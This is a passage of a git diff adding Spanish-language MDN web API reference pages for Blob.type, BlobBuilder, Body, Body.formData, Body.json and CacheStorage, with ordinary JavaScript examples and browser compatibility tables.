+<p>Esa versión del método <code>slice()</code> fué implementada en <a class="link-https" href="https://hg.mozilla.org/mozilla-central/rev/1b3947ed93c6">Firefox 4</a>, <a class="external" href="http://trac.webkit.org/changeset/55670">WebKit</a>, y <a class="external" href="http://www.opera.com/docs/specs/presto28/file/#blob">Opera 11.10</a>. Sin embargo, desde que la sintaxis ha diferido desde  <a href="/en/JavaScript/Reference/Global_Objects/Array/slice" title="en/JavaScript/Reference/Global Objects/Array/slice"><code>Array.slice()</code></a> y <a href="/en/JavaScript/Reference/Global_Objects/String/slice" title="en/JavaScript/Reference/Global Objects/String/slice"><code>String.slice()</code></a>, Gecko y WebKit removieron este soporte y agregaron soporte  para la nueva sintaxis como {{ manch("mozSlice") }}/<a class="external" href="http://trac.webkit.org/changeset/83873"><code>Blob.webkitSlice</code></a>.</p>
+
+<p>Comenzando en Gecko 13.0 {{ geckoRelease("13.0") }} y Chrome 21, {{ manch("slice") }} no se encuentra más prefijado. El soporte para <code>mozSlice()</code> ha sido eliminado en Gecko 30.0 {{ geckoRelease("30.0") }}.‡</p>
+
+<h3 id="Notas_de_Gecko">Notas de Gecko</h3>
+
+<p>Antes de Gecko 12.0 {{ geckoRelease("12.0") }}, existía un error que afectaba el comportamiento de {{ manch("slice") }}; No funcionaba para las posiciones <code>start</code> and <code>end</code> por fuera del rango de valores de 64 bits con signo; Ha sido ahora arreglado para soportar valores de 64 bits sin signo.</p>
+
+<h2 id="Disponilidad_del_alcance_del_código_en_Chrome">Disponilidad del alcance del código en Chrome</h2>
+
+<p>El alcance JSM del <code>Blob </code>se encuentra disponible sin la necesidad de hacer nada en especial.</p>
+
+<p>En el alcance de arranque, este debe importarse de igual modo:</p>
+
+<pre class="brush: js">const {Blob, Services} = Cu.import('resource://gre/modules/Services.jsm', {});</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ domxref("BlobBuilder") }}</li>
+ <li>{{ domxref("File") }}</li>
+</ul>
diff --git a/files/es/web/api/blob/type/index.html b/files/es/web/api/blob/type/index.html
new file mode 100644
index 0000000000..73dc045027
--- /dev/null
+++ b/files/es/web/api/blob/type/index.html
@@ -0,0 +1,121 @@
+---
+title: Blob.type
+slug: Web/API/Blob/type
+tags:
+  - API
+  - Archivo
+  - Archivos
+  - DOM
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Blob/type
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>La propiedad <strong><code>type</code></strong> de un objeto <code><a href="/en-US/docs/Web/API/Blob">Blob</a></code> proporciona el tipo MIME del archivo. Retorna una cadena vacía si el tipo no puede ser determinado.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var tipo = <var>instanceOfFile</var>.type</pre>
+
+<h2 id="Valor">Valor</h2>
+
+<p>Una cadena</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">var i, fileInput, files, allowedFileTypes;
+
+// fileInput es un HTMLInputElement: &lt;input type="file" multiple id="myfileinput"&gt;
+fileInput = document.getElementById("myfileinput");
+
+// files es un objeto FileList (similar a NodeList)
+files = fileInput.files;
+
+// nuestra aplicacion solo acepta imagenes *.png, *.jpeg y *.gif
+allowedFileTypes = ["image/png", "image/jpeg", "image/gif"];
+
+for (i = 0; i &lt; files.length; i++) {
+  // Prueba si file.type es un tipo de archivo permitido.
+  if (allowedFileTypes.indexOf(<strong>files[i].type</strong>) &gt; -1) {
+    // El tipo de archivo es uno de los permitidos. Hacer algo aquí.
+  }
+});
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Espeficicaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-type', 'type')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Definicion inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_browsers">Compatibilidad con browsers</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>File.type</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>10.0</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>File.type</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/es/web/api/blobbuilder/index.html b/files/es/web/api/blobbuilder/index.html
new file mode 100644
index 0000000000..e07f1217cf
--- /dev/null
+++ b/files/es/web/api/blobbuilder/index.html
@@ -0,0 +1,193 @@
+---
+title: BlobBuilder
+slug: Web/API/BlobBuilder
+tags:
+  - API
+  - Archivo
+  - DOM
+  - File API
+  - NeedsBrowserCompatibility
+  - Obsoleto
+  - Referencia
+translation_of: Web/API/BlobBuilder
+---
+<p>{{APIRef("File API")}}{{ obsolete_header}}</p>
+
+<p>La interfaz BlobBuilder provee una manera fácil de construir objetos {{domxref("Blob")}} . Solo crea un BlobBuilder y anexa trozos de datos invocando  el método {{manch("append")}} . Cuando termines de construir tu objeto, llama al método {{manch("getBlob")}} para obtener un objeto  {{domxref("Blob")}}  que contiene los datos que le enviaste al blob builder.</p>
+
+<div class="note"><strong>Nota:</strong> La interfaz <code>BlobBuilder</code> ha sido descontinuada en favor de introducir el constructor mas reciente {{domxref('Blob')}}.</div>
+
+<h2 id="Información_general_de_los_metodos">Información general de los metodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="/en-US/docs/Web/API/BlobBuilder#append()">append</a>(in ArrayBuffer data);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en-US/docs/Web/API/BlobBuilder#append()">append</a>(in Blob data);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en-US/docs/Web/API/BlobBuilder#append()">append</a>(in String data, [optional] in String endings);</code></td>
+  </tr>
+  <tr>
+   <td><code>Blob <a href="/en-US/docs/Web/API/BlobBuilder#getBlob()">getBlob</a>([optional] in DOMString contentType);</code></td>
+  </tr>
+  <tr>
+   <td><code>File <a href="/en-US/docs/Web/API/BlobBuilder#getFile()">getFile</a>(in DOMString name, [optional] in DOMString contentType);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Metodos">Metodos</h2>
+
+<h3 id="append()">append()</h3>
+
+<p>Anexa el contenido del objeto javascript especificado al {{domxref("Blob")}} que esta siendo construido. Si el valor especificado no es  un  {{domxref("Blob")}}, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a></code>, o <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String"><code>String</code></a>, el valor es convertido a String antes de ser anexado al  blob.</p>
+
+<pre class="syntaxbox">void append(
+  in ArrayBuffer data
+);
+
+void append(
+  in Blob data
+);
+
+
+void append(
+  in String data,
+  [optional] in String endings
+);
+</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Los datos a anexar al objeto {{domxref("Blob")}} que esta siendo construido.</dd>
+ <dt><code>endings</code></dt>
+ <dd>Establece como serán escritas las cadenas que contienen  <code>\n</code>. Puede ser <code>"transparent"</code> (los finales no cambian) o <code>"native"</code> (los finales cambian para coincidir  a conveniencia del sistema operativo anfitrión). El valor predeterminado es <code>"transparent"</code>.</dd>
+</dl>
+
+<h3 id="getBlob()">getBlob()</h3>
+
+<p>Regresa el objeto  {{domxref("Blob")}} que ha sido construido usando los datos pasados atraves del método {{manch("append")}}.</p>
+
+<pre class="syntaxbox">Blob getBlob(
+  in DOMString contentType {{optional_inline}}
+);
+</pre>
+
+<h3 id="Parametros_2">Parametros</h3>
+
+<dl>
+ <dt>contentType {{optional_inline}}</dt>
+ <dd>El tipo MIME de los datos que seran regresados en el objeto {{domxref("Blob")}}. Esto será la propiedad tipo (Type) de los objetos <code>Blob</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p>Un objeto  {{domxref("Blob")}} conteniendo todos los datos pasados por cualquier llamada hecha  al método {{manch("append")}} desde que el  <code>BlobBuilder</code> fue creado. Esto tambien reinicializa el  <code>BlobBuilder</code> sí que la siguiente llamada al metodo {{manch("append")}} es empezar de nuevo , un blob vacio.</p>
+
+<h3 id="getFile()_non-standard_inline">getFile() {{non-standard_inline}}</h3>
+
+<p>Retorna un objeto {{domxref("File")}}.</p>
+
+<pre class="syntaxbox">File getFile(
+  in DOMString name,
+  [optional] in DOMString contentType
+);
+</pre>
+
+<h3 id="Parametros_3">Parametros</h3>
+
+<dl>
+ <dt>name</dt>
+ <dd>El nombre del archivo.</dd>
+ <dt>contentType {{optional_inline}}</dt>
+ <dd>El tipo MIME de dats regresados en el objeto {{domxref("File")}}. Este será el valor de la propiedad tipo (type) del objeto <code>File</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_Retorno_2">Valor de Retorno</h3>
+
+<p>Un Objeto {{domxref("File")}}.</p>
+
+<h2 id="Compatibilidad_con_Nevegadores">Compatibilidad con Nevegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (soporte básico)</td>
+   <td>8[1]</td>
+   <td>{{CompatNo}}[2]</td>
+   <td>10[3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}[1]</td>
+  </tr>
+  <tr>
+   <td><code>getfile()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (soporte básico)</td>
+   <td>3[1]</td>
+   <td>{{CompatNo}}[2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}[1]</td>
+  </tr>
+  <tr>
+   <td><code>getfile()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] WebKit implementa el API como <code>WebKitBlobBuilder</code>, aunque es obsoleta ahora y ha hecho su soporte configurable. Actualmente Safari deshabilita esta caracteristica  en Nightly, asi que probablemente no venga en la version final. Por otra parte, Chrome, que lo ha soportado desde Chrome 8, mantiene disponible esta caracteristica. Asi que Chrome podrá continuar soportando esta caracteristica. (Visita <a href="http://trac.webkit.org/changeset/115666">WebKit changeset</a> para mas detalles).</p>
+
+<p>[2] Gecko implementa el API como <code>MozBlobBuilder</code>. Empezando con Firefox 14, usando <code>MozBlobBuilder mostrará un mensaje de advertencia en la consola de que usar </code><code>MozBlobBuilder</code> es obsoleto y se sugiere usar el constructor  {{domxref("Blob")}} en su lugar. En Gecko 18.0 esta caracteristica fue removida..</p>
+
+<p>[3] Trident implementa el API como <code>MSBlobBuilder</code>.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{spec("http://dev.w3.org/2009/dap/file-system/file-writer.html#idl-def-BlobBuilder", "File API Specification: BlobBuilder", "ED")}}</li>
+ <li>{{domxref("Blob")}}</li>
+ <li>{{domxref("File")}}</li>
+</ul>
diff --git a/files/es/web/api/body/formdata/index.html b/files/es/web/api/body/formdata/index.html
new file mode 100644
index 0000000000..6915954d6e
--- /dev/null
+++ b/files/es/web/api/body/formdata/index.html
@@ -0,0 +1,72 @@
+---
+title: Body.formData()
+slug: Web/API/Body/formData
+tags:
+  - API
+  - BODY
+  - Experimental
+  - Fetch
+  - Fetch API
+  - FormData
+  - Method
+  - NeedsExample
+  - Reference
+translation_of: Web/API/Body/formData
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>El método <strong><code>formData()</code></strong> de {{domxref("Body")}} mixin toma una cadena {{domxref("Response")}} y la lee completamente. Esto devuelve una promesa que resuelve con un objeto {{domxref("FormData")}}.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esto es principalmente relevante en <a href="/en-US/docs/Web/API/ServiceWorker_API">service workers</a>. Si un usuario envia un formulario y un service worker intercepta el request, tu por ejemplo podrás llamar a <code>formData()</code> para obtener un mapeo del tipo llave-valor, modificar algunos campos, luego enviar el formulario al servidor (o utilizarlo localmente).</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">response.formData()
+.then(function(formdata) {
+  // hacer algo con tu formdata
+});</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una {{domxref("Promise")}} que resuelve con un objeto {{domxref("FormData")}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>TBD.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-body-formdata','formData()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada por datos estructurados. Si te gustaría contribuir con los datos, por favor revisar <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</div>
+
+<p>{{Compat("api.Body.formData")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/es/web/api/body/index.html b/files/es/web/api/body/index.html
new file mode 100644
index 0000000000..3693a73653
--- /dev/null
+++ b/files/es/web/api/body/index.html
@@ -0,0 +1,99 @@
+---
+title: Body
+slug: Web/API/Body
+tags:
+  - API
+  - BODY
+  - Experimental
+  - Fetch
+  - Fetch API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - request
+translation_of: Web/API/Body
+---
+<div>{{ APIRef("Fetch") }}</div>
+
+<p><span class="seoSummary">The <strong><code>Body</code></strong> {{glossary("mixin")}} of the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.</span></p>
+
+<p><code>Body</code> is implemented by both {{domxref("Request")}} and {{domxref("Response")}}. This provides these objects with an associated <dfn>body</dfn> (a <a href="/en-US/docs/Web/API/Streams_API">stream</a>), a <dfn>used flag</dfn> (initially unset), and a <dfn>MIME type</dfn> (initially the empty byte sequence).</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("Boolean")}} that indicates whether the body has been read.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text). The response is <em>always</em> decoded using UTF-8.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The example below uses a simple fetch call to grab an image and display it in an {{htmlelement("img")}} tag. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob","Body.blob()")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"&gt;
+</pre>
+
+<h3 id="JS_Content">JS Content</h3>
+
+<pre class="brush: js">const myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg')
+	.then(res =&gt; res.blob())
+	.then(res =&gt; {
+		const objectURL = URL.createObjectURL(res);
+		myImage.src = objectURL;
+});</pre>
+
+<p>{{ EmbedLiveSample('Examples', '100%', '250px') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#body-mixin','Body')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Body")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/api/body/json/index.html b/files/es/web/api/body/json/index.html
new file mode 100644
index 0000000000..54c8d75d12
--- /dev/null
+++ b/files/es/web/api/body/json/index.html
@@ -0,0 +1,82 @@
+---
+title: Body.json()
+slug: Web/API/Body/json
+translation_of: Web/API/Body/json
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>El método <strong><code>json()</code></strong> de {{DOMxRef("Body")}} recibe un flujo de datos {{DOMxRef("Response")}} y lo lee a término. Devuelve una promesa con el cuerpo del texto transformado a {{JSxRef("JSON")}}.</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox"><em>response</em>.json().then(<em>data</em> =&gt; {
+  // do something with your data
+});</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>No.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una {{jsxref("Promise")}} que se resuelve a un objeto JavaScript. Este objeto puede ser cualquier cosa que pueda ser representada por JSON (un objeto, un array, una cadena de caracteres, un número...).</p>
+
+<h2 id="Example">Example</h2>
+
+<p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), we create a new request using the {{DOMxRef("Request.Request", "Request()")}} constructor, then use it to fetch a <code>.json</code> file. When the fetch is successful, we read and parse the data using <code>json()</code>, then read values out of the resulting objects as you'd expect and insert them into list items to display our product data.</p>
+
+<pre class="brush: js highlight[5]">const myList = document.querySelector('ul');
+const myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(response =&gt; response.json())
+  .then(data =&gt; {
+    for (const product of data.products) {
+      let listItem = document.createElement('li');
+      listItem.appendChild(
+        document.createElement('strong')
+      ).textContent = product.Name;
+      listItem.append(
+        ` can be found in ${
+          product.Location
+        }. Cost: `
+      );
+      listItem.appendChild(
+        document.createElement('strong')
+      ).textContent = `£${product.Price}`;
+      myList.appendChild(listItem);
+    }
+  });</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Fetch", "#dom-body-json", "Body.json()")}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Body.json")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/es/web/api/cachestorage/index.html b/files/es/web/api/cachestorage/index.html
new file mode 100644
index 0000000000..fdcfe56217
--- /dev/null
+++ b/files/es/web/api/cachestorage/index.html
@@ -0,0 +1,198 @@
+---
+title: CacheStorage
+slug: Web/API/CacheStorage
+tags:
+  - API
+  - CacheStorage
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - TopicStub
+translation_of: Web/API/CacheStorage
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p>The <strong><code>CacheStorage</code></strong> interface represents the storage for {{domxref("Cache")}} objects.</p>
+
+<p>The interface:</p>
+
+<ul>
+ <li>Provides a master directory of all the named caches that can be accessed by a {{domxref("ServiceWorker")}} or other type of worker or {{domxref("window")}} scope (you’re not limited to only using it with service workers, even though the {{SpecName('Service Workers')}} spec defines it).
+  <div class="note"><strong>Note</strong>: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1026063">Chrome and Safari only expose `CacheStorage` to the windowed context over HTTPS</a>. {{domxref("window.caches")}} will be undefined unless an SSL certificate is configured.</div>
+ </li>
+ <li>Maintains a mapping of string names to corresponding {{domxref("Cache")}} objects.</li>
+</ul>
+
+<p>Use {{domxref("CacheStorage.open()")}} to obtain a {{domxref("Cache")}} instance.</p>
+
+<p>Use {{domxref("CacheStorage.match()")}} to check if a given {{domxref("Request")}} is a key in any of the {{domxref("Cache")}} objects that the <code>CacheStorage</code> object tracks.</p>
+
+<p>You can access <code>CacheStorage</code> through the global {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}} property.</p>
+
+<div class="note"><strong>Note</strong>: CacheStorage always rejects with a <code>SecurityError</code> on untrusted origins (i.e. those that aren't using HTTPS, although this definition will likely become more complex in the future.) When testing, you can get around this by checking the "Enable Service Workers over HTTP (when toolbox is open)" option in the Firefox Devtools options/gear menu.</div>
+
+<div class="note"><strong>Note</strong>: {{domxref("CacheStorage.match()")}} is a convenience method. Equivalent functionality to match a cache entry can be implemented by returning an array of cache names from {{domxref("CacheStorage.keys()")}}, opening each cache with {{domxref("CacheStorage.open()")}}, and matching the one you want with {{domxref("Cache.match()")}}.</div>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("CacheStorage.match()")}}</dt>
+ <dd>Checks if a given {{domxref("Request")}} is a key in any of the {{domxref("Cache")}} objects that the {{domxref("CacheStorage")}} object tracks, and returns a {{jsxref("Promise")}} that resolves to that match.</dd>
+ <dt>{{domxref("CacheStorage.has()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to <code>true</code> if a {{domxref("Cache")}} object matching the <code>cacheName</code> exists.</dd>
+ <dt>{{domxref("CacheStorage.open()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to the {{domxref("Cache")}} object matching the <code>cacheName</code> (a new cache is created if it doesn't already exist.)</dd>
+ <dt>{{domxref("CacheStorage.delete()")}}</dt>
+ <dd>Finds the {{domxref("Cache")}} object matching the <code>cacheName</code>, and if found, deletes the {{domxref("Cache")}} object and returns a {{jsxref("Promise")}} that resolves to <code>true</code>. If no {{domxref("Cache")}} object is found, it resolves to <code>false</code>.</dd>
+ <dt>{{domxref("CacheStorage.keys()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that will resolve with an array containing strings corresponding to all of the named {{domxref("Cache")}} objects tracked by the {{domxref("CacheStorage")}}. Use this method to iterate over a list of all the {{domxref("Cache")}} objects.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This code snippet is from the MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (see <a href="https://mdn.github.io/sw-test/">sw-test running live</a>.) This service worker script waits for an {{domxref("InstallEvent")}} to fire, then runs {{domxref("ExtendableEvent.waitUntil","waitUntil")}} to handle the install process for the app. This consists of calling {{domxref("CacheStorage.open")}} to create a new cache, then using {{domxref("Cache.addAll")}} to add a series of assets to it.</p>
+
+<p>In the second code block, we wait for a {{domxref("FetchEvent")}} to fire. We construct a custom response like so:</p>
+
+<ol>
+ <li>Check whether a match for the request is found in the CacheStorage. If so, serve that.</li>
+ <li>If not, fetch the request from the network, then also open the cache created in the first block and add a clone of the request to it using {{domxref("Cache.put")}} (<code>cache.put(event.request, response.clone())</code>.)</li>
+ <li>If this fails (e.g. because the network is down), return a fallback response.</li>
+</ol>
+
+<p>Finally, return whatever the custom response ended up being equal to, using {{domxref("FetchEvent.respondWith")}}.</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+
+self.addEventListener('fetch', function(event) {
+  event.respondWith(caches.match(event.request).then(function(response) {
+    // caches.match() always resolves
+    // but in case of success response will have value
+    if (response !== undefined) {
+      return response;
+    } else {
+      return fetch(event.request).then(function (response) {
+        // response may be used only once
+        // we need to save clone to put one copy in cache
+        // and serve second one
+        let responseClone = response.clone();
+
+        caches.open('v1').then(function (cache) {
+          cache.put(event.request, responseClone);
+        });
+        return response;
+      }).catch(function () {
+        return caches.match('/sw-test/gallery/myLittleVader.jpg');
+      });
+    }
+  }));
+});
+</pre>
+
+<p>This snippet shows how the API can be used outside of a service worker context, and uses the <code>await</code> operator for much more readable code.</p>
+
+<pre class="brush: js notranslate">// Try to get data from the cache, but fall back to fetching it live.
+async function getData() {
+   const cacheVersion = 1;
+   const cacheName    = `myapp-${ cacheVersion }`;
+   const url          = 'https://jsonplaceholder.typicode.com/todos/1';
+   let cachedData     = await getCachedData( cacheName, url );
+
+   if ( cachedData ) {
+      console.log( 'Retrieved cached data' );
+      return cachedData;
+   }
+
+   console.log( 'Fetching fresh data' );
+
+   const cacheStorage = await caches.open( cacheName );
+   await cacheStorage.add( url );
+   cachedData = await getCachedData( cacheName, url );
+   await deleteOldCaches( cacheName );
+
+   return cachedData;
+}
+
+// Get data from the cache.
+async function getCachedData( cacheName, url ) {
+   const cacheStorage   = await caches.open( cacheName );
+   const cachedResponse = await cacheStorage.match( url );
+
+   if ( ! cachedResponse || ! cachedResponse.ok ) {
+      return false;
+   }
+
+   return await cachedResponse.json();
+}
+
+// Delete any old caches to respect user's disk space.
+async function deleteOldCaches( currentCache ) {
+   const keys = await caches.keys();
+
+   for ( const key of keys ) {
+      const isOurCache = 'myapp-' === key.substr( 0, 6 );
+
+      if ( currentCache === key || ! isOurCache ) {
+         continue;
+      }
+
+      caches.delete( key );
+   }
+}
+
+try {
+   const data = await getData();
+   console.log( { data } );
+} catch ( error ) {
+   console.error( { error } );
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
